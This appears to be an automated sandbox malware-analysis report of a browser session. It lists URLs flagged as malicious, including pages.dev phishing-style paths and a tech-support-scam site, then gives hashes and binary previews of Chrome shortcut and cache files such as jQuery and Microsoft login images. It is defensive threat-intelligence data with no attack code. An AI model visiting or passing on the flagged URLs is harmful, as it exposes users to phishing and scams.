	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
	https://site-stlp3.powerappsportals.com/	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
	https://ndw5xvotehflt.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
	https://cnmxukx5efilc7lvlel.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
	https://bocmyw606y.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
	https://sabbynarula-73p7yyw32q-ue.a.run.app/Win0belzer0sys07/index.html	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
	https://uporniacomnuvidx.z13.web.core.windows.net/index.html	Get hash	malicious	TechSupportScam	Browse	23.34.16.106 40.68.123.157

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 03:28:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.989825510713089
Encrypted:	false
SSDEEP:	48:866dRTZB+HvcidAKZdA1FehwiZUklqehEJy+3:83Lt/y
MD5:	5F780AF198B6EC5E16CA436F0D7E6442
SHA1:	CF9E1723DB652CE7B5041683C9AB297E8D44C3B7
SHA-256:	3A75C700A98869816154D85E6445E235D122F3F1A5C579E58CC943FF4883C11A
SHA-512:	495CB6C45E04F67FF9552433CB7C8D0096F23A835491DA6F5EE724E867B7BF51656BB2E6D1D1CD84826E12179B110E6AF36E48A1FB48947954C63EEDF36D681C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....\.=....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.#....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.#....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.#....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.#..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.#...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............M......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 03:28:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.006136574239574
Encrypted:	false
SSDEEP:	48:8XdRTZB+HvcidAKZdA1seh/iZUkAQkqeh1Jy+2:8DLD9QKy
MD5:	6AEF3DCE926290A7E91F624C585F1422
SHA1:	82CC917BC02D799737189478F5AFA014B82280E4
SHA-256:	46371DF813274B4100C4E2CE085190034BE6554EC9DEEB365328E690D0CD2309
SHA-512:	96B18AB992656CB517BADA81E27EE68CD46944737FDED63E6E435B1F25ED3D79C37D8164BF2903CC16FF1CDF7DDA05C0D7EF61911C9AFDF30D3B7309FF8E551E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....d.=....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.#....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.#....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.#....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.#..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.#...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............M......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.014341005940345
Encrypted:	false
SSDEEP:	48:8ddRTZBAHvcidAKZdA14meh7sFiZUkmgqeh7s/Jy+BX:8BL5nDy
MD5:	A956E21E06D5FA16BD0AF7F5C2C05024
SHA1:	BB74C1927C859B4D19B1915A12E5461A6BE479F9
SHA-256:	3C5827B1DE7EC044AD58EFFB357C79BC59C27DCA4BE0735354482511F0F0F978
SHA-512:	D285B331A300E6313491EB739C7FCA48D42AF2A0EC365BD592497666765DA4079FE26AB55659E3E402F870BE119AEF95EDEDCB4F5776975DC7DBDDCEA729B3D8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.#....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.#....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.#....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.#..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............M......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 03:28:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.005955083307096
Encrypted:	false
SSDEEP:	48:88dRTZB+HvcidAKZdA1TehDiZUkwqeh5Jy+R:8qLwZy
MD5:	2AD000941392D4AE4AD7DA5A353403AF
SHA1:	84268646AB7CC1C36756935F7DBE21790C3C5092
SHA-256:	E6D518A5D721BF69FF23543506767D06F32D2214928D07A8BBDB4C4BCE615E0B
SHA-512:	9290C6CDEB820445A2398677C1A80617A6726D0BC9DAF7169AD757C44778169EE6EA39590DADB817D5B44B679C1AD8484C7E56D2355503E4F3234C649D71B6DB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......=....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.#....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.#....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.#....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.#..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.#...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............M......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 03:28:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9952114537402643
Encrypted:	false
SSDEEP:	48:8KdRTZB+HvcidAKZdA1dehBiZUk1W1qehbJy+C:8QLQ91y
MD5:	258B7549FD3E45038C71BEF91D98786B
SHA1:	0DBE71E50BE17848717DA82B5326D413411263A7
SHA-256:	7AEED6EBEC415EF3460AEF26447FA0E4EBD5DEF48442E6036D8A1BF8677CE0EB
SHA-512:	FE5DF7A73145D5DA11777530B861DF4B14578E63BA823E67D4FDE5344AA2CC714175E51F9A7AF6E14F60FEB7D812787C71DEDA8ACDE5B731844125E9782E296E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Z..=....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.#....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.#....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.#....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.#..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.#...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............M......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 03:28:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.004185326127633
Encrypted:	false
SSDEEP:	48:8NdRTZB+HvcidAKZdA1duTeehOuTbbiZUk5OjqehOuTbhJy+yT+:8RLCTfTbxWOvTbDy7T
MD5:	A09C02CF2EB3438F30EBC49E19161381
SHA1:	57E4289DFF0F665135841CD489659E563C993B42
SHA-256:	1263B708952CDE8368AD8D369F3C908FA7C979F28A5F8CA753D46CF94EAF3466
SHA-512:	D7CA63073C1098EA98965FE4645D7BB8FF47DC8045B199EE7BC45A86CC286465726F61C63B8912ADB4A026B01487F19F46F0A38CF5B7D1A96FEF8D83B977CBFA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....8.=....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.#....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.#....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.#....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.#..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.#...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............M......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32058)
Category:	downloaded
Size (bytes):	86659
Entropy (8bit):	5.36781915816204
Encrypted:	false
SSDEEP:	1536:YNhEyjjTikEJO4edXXe9J578go6MWX2xkj8e4c4j2ll2AckaXEP6n15HZ+FhFcQ7:uxc2yjx4j2uX/kcQDU8Cu9
MD5:	C9F5AEECA3AD37BF2AA006139B935F0A
SHA1:	1055018C28AB41087EF9CCEFE411606893DABEA2
SHA-256:	87083882CC6015984EB0411A99D3981817F5DC5C90BA24F0940420C5548D82DE
SHA-512:	DCFF2B5C2B8625D3593A7531FF4DDCD633939CC9F7ACFEB79C18A9E6038FDAA99487960075502F159D44F902D965B0B5AED32B41BFA66A1DC07D85B5D5152B58
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
Preview:	/! jQuery v3.2.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	high, very likely benign file
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://logincdn.msauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://logincdn.msauth.net/16.000.28595.2/images/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	86927
Entropy (8bit):	5.289226719276158
Encrypted:	false
SSDEEP:	1536:jLiBdiaWLOczCmZx6+VWuGzQNOzdn6x2RZd9SEnk9HB96c9Yo/NWLbVj3kC6t3:5kn6x2xe9NK6nC69
MD5:	A09E13EE94D51C524B7E2A728C7D4039
SHA1:	0DC32DB4AA9C5F03F3B38C47D883DBD4FED13AAE
SHA-256:	160A426FF2894252CD7CEBBDD6D6B7DA8FCD319C65B70468F10B6690C45D02EF
SHA-512:	F8DA8F95B6ED33542A88AF19028E18AE3D9CE25350A06BFC3FBF433ED2B38FEFA5E639CDDFDAC703FC6CAA7F3313D974B92A3168276B3A016CEB28F27DB0714A
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js
Preview:	/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://logincdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65356)
Category:	downloaded
Size (bytes):	698780
Entropy (8bit):	4.303376707888899
Encrypted:	false
SSDEEP:	6144:/6omS9C8UjUvDVXE7oc/AH/xpRSnJUiZ63lhD5jm:F9C856/AJpRx5m
MD5:	BFFC6023835E717C0348C41583E56EBA
SHA1:	5EEECA669E300C13EF45B44E2322EA154A1D17D5
SHA-256:	D2FEC0E2942F49DD3CAD4650431D550D761F11DDED17834D4835768C2CA730C0
SHA-512:	F8A67D30D682FCA3E62667573DE5EF577C8B7D45DB14899FDE750C40DEC789FFB4D5F02003276DCF6417F00B4163236FEAFDD1BA56C43D71E4BB4FFEA2184052
Malicious:	false
URL:	https://use.fontawesome.com/releases/v5.0.9/js/all.js
